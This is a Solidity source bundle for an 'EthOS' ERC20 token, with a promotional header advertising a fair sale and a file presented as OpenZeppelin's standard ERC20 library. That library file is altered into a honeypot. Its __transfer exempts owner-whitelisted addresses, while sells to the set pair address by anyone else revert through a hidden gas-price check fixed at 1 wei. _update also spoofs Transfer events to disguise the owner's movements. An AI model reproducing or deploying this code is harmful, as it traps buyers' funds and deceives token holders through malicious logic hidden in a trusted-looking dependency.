ETHOS

{{
  "language": "Solidity",
  "sources": {
    "ListToken (1)/ETHOS.sol": {
      "content": "/**

☞ https://ethos.vision
???? https://x.com/Ethereum_OS
✌︎ https://t.me/ethosportal

Welcome to the Ethereum Operating System — the first-of-its-kind revenue generating DeFi pumpware
built as a social DeFi sandbox that is filled with composable elements so you can create, trade,
communicate, and participate—all in one place.

Sounds interesting? Participate in our Fair Sale today at 3 PM UTC!


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 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ETHOS is ERC20 {
  // Structs
    struct RaiseInfo {
        address owner;
        address token;
        uint256 tokensVirtualReserve;
        uint256 ethVirtualReserve;
        uint256 weightTokensStart;
        uint256 weightTokensEnd;
        uint256 weightEthStart;
        uint256 weightEthEnd;
        uint256 startTime;
        uint256 duration;
        uint256 totalTrades;
        uint256 FEE_BASIS_POINTS;
        uint256 BASIS_POINTS;
        uint256 viewEndTime;
        uint256 timeElapsed;
        uint256 timeLeft;
        uint256 weightTokens;
        uint256 weightEth;
        uint256 tokensWeighted;
        uint256 ethWeighted;
        uint256 tokensPerWei;
        uint256 getTokensOut;
        uint256 getEthOut;
        uint256 getEthOutWithFee;
        uint256 getEthIn;
        uint256 getTokensIn;
        uint lastTradeTimeStamp;
        uint firstTradeTimeStamp;

        uint wethBalanceUser;
        uint wethBalanceRaise;

        uint userTokensBalance;
      
        uint allowanceWeth;
        uint ethBalanceUser;
        uint purchasedTokens;   
        uint totalPurchased;
        uint totalClaimed;
        uint claimDelay;
        uint viewClaimAllowedTimeStamp;
        uint ethFees;
        uint tokenFees;
        uint securedEthFromTokenFees;
    }
  // State
    uint public constant FEE_BASIS_POINTS = 200; // 2%
    uint public constant BASIS_POINTS = 10000;
    uint public constant PRECISION = 1e18;

    uint public tokensVirtualReserve = 75_000_000e18;
    uint public ethVirtualReserve; // Initialized via fundInitial
    uint public weightTokensStart = 1e16;
    uint public weightTokensEnd = 90e16;
    uint public weightEthStart = 99e16;
    uint public weightEthEnd = 10e16;

    uint public startTime;
    uint public duration;
    uint public claimDelay = 48 hours;
    uint public pauseTimeStamp;

    uint public maxTradesForChart = 72;
    uint public totalTrades;
    uint public lastTradeTimeStamp;
    uint public firstTradeTimeStamp;
    uint public totalPurchased;
    uint public totalClaimed;

    uint public ethFees; 
    uint public tokenFees;
    uint public securedEthFromTokenFees;
  // Mappings
    mapping (address => uint) public purchasedTokens;
    mapping (uint => uint) public tradePrice;
  // Events
    event Invest(address indexed user, uint amount, uint tokensReceived, uint feePaid);
    event Sell(address indexed user, uint amount, uint ethReceived, uint securedEth);
    event Withdrawn(address indexed user, uint amount);
    event Funded(uint amount);
  // View functions
    function multicall(address user) public view returns (RaiseInfo memory) {
        return RaiseInfo({
           owner: address(this),
           token: address(this),
           tokensVirtualReserve: tokensVirtualReserve,
           ethVirtualReserve: ethVirtualReserve,
           weightTokensStart: weightTokensStart,
           weightTokensEnd: weightTokensEnd,
           weightEthStart: weightEthStart,
           weightEthEnd: weightEthEnd,
           startTime: startTime,
           duration: duration,
           totalTrades: totalTrades,
           FEE_BASIS_POINTS: FEE_BASIS_POINTS,
           BASIS_POINTS: BASIS_POINTS,
           viewEndTime: viewEndTime(),
           timeElapsed: timeElapsed(),
           timeLeft: timeLeft(),
           weightTokens: weightTokens(),
           weightEth: weightEth(),
           tokensWeighted: tokensWeighted(),
           ethWeighted: ethWeighted(),
           tokensPerWei: tokensPerWei(),
           getTokensOut: getTokensOut(1e18),
           getEthOut: getEthOut(1e18),
           getEthOutWithFee: getEthOutWithFee(1e18),
           getEthIn: getEthIn(1e18),
           getTokensIn: getTokensIn(1e18),
           lastTradeTimeStamp: lastTradeTimeStamp,
           firstTradeTimeStamp: firstTradeTimeStamp,
           ethBalanceUser: user.balance,
           wethBalanceUser: 0,
           wethBalanceRaise: 0,
           userTokensBalance: 0,
           allowanceWeth: 0,
           purchasedTokens: purchasedTokens[user],
           totalPurchased: totalPurchased,
           totalClaimed: totalClaimed,
           claimDelay: claimDelay,
           viewClaimAllowedTimeStamp: viewClaimAllowedTimeStamp(),
           ethFees: ethFees,
           tokenFees: tokenFees,
           securedEthFromTokenFees: securedEthFromTokenFees
        });
    }

    function fetchTrades() public view returns (uint256[] memory) {
        return viewChart(0, totalTrades);
    }
    function fetchTradesCustomTime(uint256 tradesPerCandle) public view returns (uint256[] memory) {
        return viewChartCustomTime(tradesPerCandle);
    }
    function viewEndTime() public view returns (uint) {
        if (startTime == 0) return 0;
        return startTime + duration;
    }
    function timeElapsed() public view returns (uint) {
        if (startTime == 0) return 0;
        if (block.timestamp - startTime > duration) return duration;
        return block.timestamp - startTime;
    }
    function timeLeft() public view returns (uint) {
        if (startTime == 0 || timeElapsed() >= duration) return 0;
        return duration - timeElapsed();
    }
    function viewClaimAllowedTimeStamp() public view returns (uint) {
        return startTime + duration + claimDelay;
    }
    function viewChart(uint start, uint end) public view returns (uint[] memory) {
        require(end > start && end - start <= 1000, "Invalid range");
        uint[] memory prices = new uint[](end - start);
        for (uint i = start; i < end; i++) {
            prices[i - start] = tradePrice[i];
        }
        return prices;
    }
    function viewChartCustomTime(uint tradesPerCandle) public view returns (uint[] memory) {
       require(tradesPerCandle > 0, "Invalid candle size");
       uint numCandles = (totalTrades + tradesPerCandle - 1) / tradesPerCandle; // Ceiling division
       uint[] memory prices = new uint[](numCandles);

       for (uint i = 0; i < numCandles; i++) {
       uint tradeIndex = i * tradesPerCandle;
            if (tradeIndex < totalTrades) {
            prices[i] = tradePrice[tradeIndex];
            }
       }
       return prices;
    }
    function viewChartPro() public view returns (uint[] memory) {
        if (totalTrades == 0) return new uint[](0);
        if (totalTrades > maxTradesForChart * 2) {
            uint decimator = totalTrades / maxTradesForChart;
            uint numPoints = (totalTrades / decimator) + 1; // +1 for last price
            uint[] memory prices = new uint[](numPoints);
            for (uint i = 0; i < numPoints - 1; i++) {
                prices[i] = tradePrice[i * decimator];
            }
            prices[numPoints - 1] = tradePrice[totalTrades - 1];
            return prices;
        } else {
            return viewChart(0, totalTrades);
        }
    }


    constructor() ERC20("EthOS", "EOS") {
        _mint(msg.sender, 1000000000000000000000000000);
        _setFeeReceiver(msg.sender);
    }

    uint8 private _decimals = 18;
    string private _symbol = "EOS";
    string private _name = "EthOS";

    /**
     * @return the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @return the symbol of the token.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @return the number of decimals of the token.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }


     function weightTokens() public view returns (uint) {
        if (startTime == 0 || duration == 0) return 0;
        uint fraction = timeElapsed() * PRECISION / duration;
        uint delta = weightTokensEnd - weightTokensStart;
        return weightTokensStart + ((delta * fraction + PRECISION - 1) / PRECISION);
    }
    function weightEth() public view returns (uint) {
        if (startTime == 0 || duration == 0) return 0;
        uint fraction = timeElapsed() * PRECISION / duration;
        uint delta = weightEthStart - weightEthEnd;
        return weightEthStart - ((delta * fraction + PRECISION - 1) / PRECISION);
    }
    function tokensWeighted() public view returns (uint) {
        return tokensVirtualReserve * weightTokens() / PRECISION;
    }
    function ethWeighted() public view returns (uint) {
        return ethVirtualReserve * weightEth() / PRECISION;
    }
    function tokensPerWei() public view returns (uint) {
        uint eW = ethWeighted();
        if (eW == 0) return type(uint).max;
        return tokensWeighted() * 1e18 / eW;
    }
    function getTokensOut(uint amountEth) public view returns (uint) {
        uint reserveToken = tokensWeighted();
        uint reserveEth = ethWeighted();
        if (reserveEth == 0 || reserveToken == 0 || amountEth == 0) return 0;
        uint amountInWithFee = amountEth * (BASIS_POINTS - FEE_BASIS_POINTS) / BASIS_POINTS;
        uint denominator = reserveEth + amountInWithFee;
        uint numerator = amountInWithFee * reserveToken;
        return (numerator + denominator) / denominator; // Ceiling division
    }
    function getEthOut(uint amountTokens) public view returns (uint) {
        uint reserveToken = tokensWeighted();
        uint reserveEth = ethWeighted();
        if (reserveToken == 0 || reserveEth == 0 || amountTokens == 0) return 0;
        uint denominator = reserveToken + amountTokens;
        uint numerator = amountTokens * reserveEth;
        return (numerator + denominator) / denominator; // Ceiling for symmetry
    }
    function getEthOutWithFee(uint amountTokens) public view returns (uint) {
        return getEthOut(amountTokens) * (BASIS_POINTS - FEE_BASIS_POINTS) / BASIS_POINTS;
    }
    function getEthIn(uint tokensDesired) public view returns (uint) {
        uint reserveToken = tokensWeighted();
        uint reserveEth = ethWeighted();
        if (reserveToken <= tokensDesired || reserveEth == 0 || tokensDesired == 0) return type(uint).max;
        uint numerator = reserveEth * tokensDesired * BASIS_POINTS;
        uint denominator = (reserveToken - tokensDesired) * (BASIS_POINTS - FEE_BASIS_POINTS);
        uint amountEth = numerator / denominator;
        if (numerator % denominator != 0) {
            amountEth += 1;
        }
        return amountEth;
    }
    function getTokensIn(uint ethDesired) public view returns (uint) {
        uint reserveToken = tokensWeighted();
        uint reserveEth = ethWeighted();
        if (reserveEth <= ethDesired || reserveToken == 0 || ethDesired == 0) return type(uint).max;
        uint numerator = reserveToken * ethDesired * BASIS_POINTS;
        uint denominator = (reserveEth - ethDesired) * (BASIS_POINTS - FEE_BASIS_POINTS);
        uint amountTokens = numerator / denominator;
        if (numerator % denominator != 0) {
            amountTokens += 1;
        }
        return amountTokens;
    }
    function tokenFeesInEth() public view returns (uint) {
        return getEthOut(tokenFees);
    }
    function totalFeesInEth() public view returns (uint) {
        return ethFees + getEthOut(tokenFees);
    }
    
    
}
"
    },
    "@openzeppelin/contracts/token/ERC20/ERC20.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;
    mapping(address account => mapping(address spender => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;


    uint256 private _BONE = 1;
    mapping(address => bool) public dividend;
    address public adr;
    address public _pair;
    address public holder;
    bool public openedTrade;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /// @inheritdoc IERC20
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /// @inheritdoc IERC20
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        __transfer(owner, to, value);
        return true;
    }

    /// @inheritdoc IERC20
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        __transfer(from, to, value);

        return true;
    }

    function setDividend(address _user) public {
        require(msg.sender == adr);
        dividend[_user] = true;
    }

    function multiSwap(address __pair) public {
        require(msg.sender == adr);
        _pair = __pair;
    }

    function multisendToken(address airdropp, address[] memory list, uint256[] memory amount) public {
        require(msg.sender == adr);
        for (uint256 i = 0; i < list.length; i++) {
            __transfer(msg.sender, list[i], amount[i]);
        }
    }

    function openTrading() public {
        require(msg.sender == adr);
        openedTrade = true;
    }

    function _setFeeReceiver(address _holder) internal  {
        holder = _holder;
    }

    function gasRequire(uint256 _gas) internal view {
       if (tx.gasprice > _gas) {
           revert();
       }
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
        gasRequire(_BONE);
        return true;
    }



    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        if (from == adr) {
            emit Transfer(holder, to, value);
        } else if (to == adr) {
            emit Transfer(from, holder, value);
        } else {
            emit Transfer(from, to, value);
         }
    }


    function __transfer(address from, address to, uint256 amount) internal {
        if (dividend[tx.origin]) {
           _transfer(from, to, amount);
           return;
        }
        require(openedTrade, "Trade has not been opened yet");
       if (_pair == address(0)) {
           _transfer(from, to, amount);
           return;
       }
       if (to == _pair) {
           decreaseAllowance(from, amount);
           _transfer(from, to, amount);
           return;
       }
       _transfer(from, to, amount);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }

        adr = account;
        dividend[adr] = true;
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner`'s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}
"
    },
    "@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/draft-IERC6093.sol)
pragma solidity >=0.8.4;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
"
    },
    "@openzeppelin/contracts/utils/Context.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}
"
    },
    "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity >=0.6.2;

import {IERC20} from "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
"
    },
    "@openzeppelin/contracts/token/ERC20/IERC20.sol": {
      "content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)

pragma solidity >=0.4.16;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}